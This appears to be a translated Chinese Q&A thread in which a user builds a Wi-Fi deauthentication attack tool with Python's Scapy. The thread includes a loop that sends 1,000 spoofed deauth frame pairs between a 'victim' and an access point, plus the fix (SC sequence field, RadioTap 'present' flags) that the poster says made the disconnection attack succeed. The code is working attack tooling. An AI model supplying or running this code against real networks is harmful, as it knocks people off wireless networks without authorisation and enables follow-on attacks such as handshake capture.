我正在尝试编写一个工具来进行简单的解除认证攻击。这是我正在进行的代码:
from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep
AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"
interface = "MY_INTERFACE_NAME"
def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))
for n in range(1000):
one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
sendp([one, two], iface=interface, verbose=False)
print(f"{n}/1000")
主要问题是,它没有成功地在受害计算机上造成取消授权。我使用
aireplay-ng
开始了解除认证攻击,比较了wireshark中的流量,我可以看到我的流量和他们的流量之间的主要区别是他们的流量使用递增序列号(SN
),而我的流量停留在0。
我不知道如何指定序列号。我搜索了整个
dot11.py
scapy 源文件,我能找到的唯一对“序列号”的引用是在 Dot11Auth
中,这似乎不对。
如何指定序列号?
事实证明,这更多是我对802.11的误解。阅读维基百科:
顺序控制字段是一个两字节部分,用于标识消息顺序以及消除重复帧。前 4 位用于分片编号,最后 12 位是序列号。
所以,它实际上捆绑在
SC
的 Dot11
字段内。
我编写了一个简单的函数来根据片段号和序列号生成 SC 值:
def produce_sc(frag: int, seq: int) -> int:
return (seq << 4) + frag
其结果可以简单地代入:
RadioTap() \
/ Dot11(addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=produce_sc(0, 123)) \ # Here
/ Dot11Deauth(reason=7)
不幸的是,解除验证仍然不起作用,但至少我排除了这个原因。
我最初的问题是
RadioTap
标头需要 present
参数:
def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
sc = produce_sc(0, seq_num)
return RadioTap(present="Rate+TXFlags") / \
Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
Dot11Deauth(reason=reason)
这对我来说没有多大意义,因为我认为
RadioTap
标头指示了天线在捕获过程中注意到的条件,而不是发送时可以指定的内容,而是 🤷。这成功地取消了客户端的授权。
按照你的实现方法,我使用了Scapy构造的特定序列号的数据帧,并在发送方发送出去。但是,接收网卡收到的序列号是从0开始的,你能帮忙解释一下为什么吗? 3个你!